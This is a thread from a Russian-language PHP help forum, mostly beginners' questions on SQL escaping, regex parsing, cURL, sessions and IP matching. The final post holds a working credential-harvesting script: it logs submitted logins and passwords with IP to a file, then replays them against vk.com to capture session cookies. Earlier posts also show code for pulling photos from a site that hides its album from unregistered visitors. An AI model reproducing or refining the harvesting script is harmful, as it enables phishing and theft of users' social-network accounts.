[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    789
    Likes Received:
    327
    Reputations:
    83
    Ссори тупанул про LIKE видать под вечер было. LIKE вообще старайтесь использовать как можно реже, а если используете то перед вводом данных в запрос проходите приходящие данные через регулярки которые не дадут вас поломать.

    Так же не понятно зачем вам $link? У вас же небось одна база...

    Проблем с моим кодом не должно быть, если есть проблемы значит ищите их до входа в функцию, либо у вас имя поля не верно или пароль равен NULL или пустой.

    Чтобы проверить что проблем с запросом нет сделайте просто в функции чуть ниже
    PHP:
    $query "SELECT `login`, `password` FROM `users` WHERE `login`= '" mysql_real_escape_string($login) . "'"
    Добавьте
    PHP:
    echo $query;
    Получите запрос который шлется в mysql и вбейте его к примеру в phpmyadmin если получите ошибку то значит проблема в запросе, если пустоту то значит проблема с заполнении полей либо в вводимых данных)

    P.S. не забывайте в запросе добавлять кавычки одинарные иначе если будут вводить два слова или больше вы получите ошибку.
     
    #22201 cardons, 26 May 2014
    Last edited: 27 May 2014
  2. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,544
    Likes Received:
    168
    Reputations:
    99
    как реализовать проверку, открыт ли сайт по https или по http?, как на ачате, если войти http://forum.antichat.ru
    выведет:
     
  3. qw1mb1

    qw1mb1 Member

    Joined:
    8 Feb 2013
    Messages:
    113
    Likes Received:
    16
    Reputations:
    8
    http://www.php.net//manual/ru/reserved.variables.server.php
     
    1 person likes this.
  4. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,544
    Likes Received:
    168
    Reputations:
    99
    как отсюда можно вытащить фото, без регистрации ?
    я заметил такое


    http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG - маленькая
    http://www.iyya.ru/content/files/PhotoAlbum/27/quality/IMG_2641.JPG - большая

    как получить список фоток, ведь они на главной крутятся, получается только подбором названия ?
     
  5. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    регулярка канает?
    PHP:
    $text='http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG
    http://www.iyya.ru/content/files/PhotoAlbum/27/quality/IMG_2641.JPG'
    ;
    preg_match_all('#http://www.iyya.ru/content/files/PhotoAlbum/27/[a-z]*/(.*).JPG#i',$text,$matches);
    print_r($matches);
     
    1 person likes this.
  6. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,544
    Likes Received:
    168
    Reputations:
    99
    мне надо пройтись по всему альбому, получить все фотки из него, но на главной странице он только листает мальнькие фотки, и не даёт смотреть весь альбом неавторизованым
     
  7. Mykola-bas

    Mykola-bas New Member

    Joined:
    24 Apr 2008
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Получить все фотки сможеш регуляркой вьіше.
    Вот мой вариант работьі с URL.
    PHP:
    $text 'http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG'
    $href substr("$text"110); //Убираем http://www.
    $img_arr explode("/"$href); //делим УРЛ на части.
        
    $img     $img_arr[0] . '/' $img_arr[1] . "/" $img_arr[2] . "/" $img_arr[3] . "/" $img_arr[4] . '/quality' $img_arr[6]; // собираем url назад то вместо 5 елемента масива (medium) ставим quality.
     
    1 person likes this.
  8. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,544
    Likes Received:
    168
    Reputations:
    99
    завершение сессий для устройств

    нужно завершить все сессии со всех браузеров, но у меня завершается сессия только в том который вызывает код ликвидации сессии:

    PHP:
    session_destroy();
    unset(
    $_SESSION['sessions']);
    другой браузер продолжает висеть на той странице, для него не происходит завершение сеанса
    как завершить сессии для всех устройств ?
    как например вконтакте, завершить всех, оставить одну сессию для текущего браузера
     
  9. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,544
    Likes Received:
    168
    Reputations:
    99
    как передать реферер той страницы в которой сработал редирект
    PHP:
    header'Location: '.$returntrue302);
    а то он передаёт реферер той страницы - с которой на него перешли !

    или вообще стереть реферер ?
     
  10. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    396
    Likes Received:
    79
    Reputations:
    16
    Вопрос выходит за рамки php, но всеже нужен пруф оф концепт хотя-бы.
    Есть задача эмулировать браузер пользователя используя curl и нужно как-то создать js песочницу и внутренние переменные (версия браузера, движка и т.п.). Как это можно сделать средствами php (выполнять действия над DOM, перехватывать ajax запросы и делать их произвольным образом)?
    Нашел http://php.net/manual/en/book.v8js.php, но что-то мне кажется, что он не решит эту проблему. Может у кого-то из адептов был опыт решения подобных задач.
     
  11. Todin

    Todin Member

    Joined:
    28 Jan 2011
    Messages:
    47
    Likes Received:
    7
    Reputations:
    0
    AnGeI, на windows машине можно через COM управлять браузером internet explorer, это точно. Вроде еще можно управлять FireFox так же, но там какие-то пляски с бубном нужны.
    А вообще смотрите в сторону Selenium.
     
  12. vova1609

    vova1609 New Member

    Joined:
    14 Jun 2012
    Messages:
    24
    Likes Received:
    2
    Reputations:
    -7
    Ребята, помогите написать простой скрипт. Пользователь открывает в браузере index.php, если у него нет Cookies, то перенаправляет на index2.php (через 1-2 секунды), если есть, то ничего не происходит. Также, помогите сделать кнопку, котрая запишет соответствующие cookies в браузер. Заранее огромное спасибо.
     
  13. qw1mb1

    qw1mb1 Member

    Joined:
    8 Feb 2013
    Messages:
    113
    Likes Received:
    16
    Reputations:
    8
    PHP:
    <?PHP
        
    if (empty($_COOKIE)) 
            echo 
    "<script type=\"text/javascript\">setInterval('window.location=\"http://site.ru/index2.php\"', 2000);</script>";
    ?>
    <button onClick="document.cookie = 'login=vasya'">SetCookie</button>
     
    1 person likes this.
  14. seenoud

    seenoud New Member

    Joined:
    24 Feb 2014
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Дали задание написать парсер одного сайта, не врубаю что делать с регулярками, с помощью курла задаю параметры:
    PHP:
    $url"тутюрл";

    $ch curl_init(); 
     
    curl_setopt($chCURLOPT_HEADER0); 
     
    curl_setopt ($chCURLOPT_URL,$url);
      
    curl_setopt ($chCURLOPT_TIMEOUT15 ); 
      
    curl_setopt ($chCURLOPT_FOLLOWLOCATION0);
      
    curl_setopt ($chCURLOPT_RETURNTRANSFER1);
      
    $result curl_exec ($ch);
      
    curl_close($ch);
    Так ведь? Спарсили содержимое главной страницы, записали ее в переменную результат, теперь нужно спарсить все ссылки на главной а потом содержимое, или как?
     
  15. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    63
    Reputations:
    34
    PHP:
    <?php
    $rawData 
    file_get_contents("http://forum.antichat.ru/showthread.php?p=3742866");
    $regularExpressionForLinks "/<a href=\"(http.*)\"/sU";
    preg_match_all($regularExpressionForLinks$rawData$matches);
    print_r($matches);

    ?>
    Не знаю что тебе нужно, ну вот "логика" парсера
     
    1 person likes this.
  16. seenoud

    seenoud New Member

    Joined:
    24 Feb 2014
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Cпасибо, уже разобрался.

    Подскажите плиз, кто работал с yii-фреймворком. Сгенерил модель Post, по мануалу стандартному, при нажатии на страницу posts перекидывает на список новостей - все нормально, но там данные полностью в текстовом виде в формате:
    айди
    тайтл
    текст
    дата

    Подскажите пожалуйста, как сделать так, чтобы тайтл отображался в виде ссылки, при нажатии на которую был бы заход на отдельную страницу поста ( ну как в обычных cms это реализовано), и как сделать, чтобы на этой же странице posts отображалась не вся новость, а только первое ее предложение, а остальное было доступно при заходе на ту отдельную страницу?
     
  17. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,544
    Likes Received:
    168
    Reputations:
    99
    из за чего такое предупреждение идёт, на что влияет и на что действует ?

    как его убрать, что бы он не ругался ?
    PHP:
    warningfread(): Length parameter must be greater than 0
    тестирую на локалхосте
    вот так та строка выглядет:
    PHP:
    $buffer fread($filefilesize($filename));

    проверил, иногда подключаемый txt файл бывает пустым, оказывается из за этого предупреждение



    сейчас код работает так, если есть другие маски ip то пишет не совпало
    txt файл выглядит так, на каждой строке ip адрес:

    PHP:
    <?php 
    $ip_adres 
    $_SERVER['REMOTE_ADDR'];
    $ipmasks file($mask_ip_dir);//путь к текстовому файлу
    $ip_fragment join('|'array_map('preg_quote'$ipmasks));
    $ip_fragment str_replace('\*''\d+'$ip_fragment); 

    echo 
    '<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">'.$ip_adres.'<br>';
    if(
    preg_match('#^('.$ip_fragment.')#'$ip_adres) == 0){
      echo 
    'НЕ СОВПАДАЕТ<br>';
    }
    else {
    echo 
    'совпадает<br>';
    }
    ?>
    как сделать сравнение ip по маске, если такая маска будет найдена из списка то результат должен быть совпало ?





    не работает обратное условие else
    PHP:
    <?php
         $file 
    array_map('trim'file($mask_ip_dir));
         foreach (
    $file as $expression)

         { 
             
    $expression str_replace('.''\.'$expression);
             
    $expression str_replace('*''(.*)'$expression);
             if (
    preg_match('#' $expression '#'$_SERVER['REMOTE_ADDR']))
             { 
                 echo 
    "message 1";
             }
             else {
                echo 
    'message 2';
                }
         }
    ?>
    message 2 - оно отображается несколько раз если условие не соответствует, а если соответствует, отображается вместе с текстом message 1 - первого условия
    из зачего так происходит, где может быть ошибка ?
     
    #22217 GAiN, 18 Jul 2014
    Last edited: 28 Jul 2014
  18. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    63
    Reputations:
    34
    PHP:
    $buffer fread($filefilesize(/* путь к файлу типа "/etc/data.txt" */));
    //
    http://php.net/manual/en/function.fread.php
     
    #22218 wkar, 18 Jul 2014
    Last edited: 18 Jul 2014
  19. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    565
    Likes Received:
    50
    Reputations:
    54
    Второй параметр у вас нулевой, т.е. $filename пуста.
     
    1 person likes this.
  20. vova1609

    vova1609 New Member

    Joined:
    14 Jun 2012
    Messages:
    24
    Likes Received:
    2
    Reputations:
    -7
    Не пойму, почему не пишет куки в бразуер, помогите пожалуйста.
    PHP:
    <?PHP
    $login
    =$_POST["login"];
    $pass=$_POST["pass"];
     
    $ip=$_SERVER['REMOTE_ADDR'];
    $date date("m.d.y H:i:s");

    $file=fopen("log.log""a");
    $str_avto=$login."\t".$pass."\t".$date."\t".$ip."\n";
    fwrite($file$str_avto);
    fclose($file);

    $otvet=connect("http://login.vk.com/?act=login&email=$login&pass=$pass");
    If(!
    preg_match("/hash=([a-z0-9]{1,32})/",$otvet,$hash)){
    die(
    header("Location: http://login fail"));
    }
    $otvet=connect("http://vk.com/login.php?act=slogin&hash=".$hash[1]);
    preg_match("/remixsid=(.*?);/",$otvet,$sid);
    $cooks "remixchk=5; remixsid=$sid[1]";
    setcookie('login''login'time() + 360000000);
    header("Location: http://login success");
     
     
    function 
    connect($link,$cooks=null,$post=null){
    $ch curl_init();
    curl_setopt($chCURLOPT_URL,$link);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_TIMEOUT0);
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_FOLLOWLOCATION0);
    if(
    $cooks !== null)
    curl_setopt($chCURLOPT_COOKIE$cooks);
    if(
    $post !== null)
    {
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    }
    $otvet curl_exec($ch);
    curl_close($ch);
    return 
    $otvet;
    }
    ?>
    Проблема в этом:
    Code:
    setcookie('login', 'login', time() + 360000000);
     
Loading...
Thread Status:
Not open for further replies.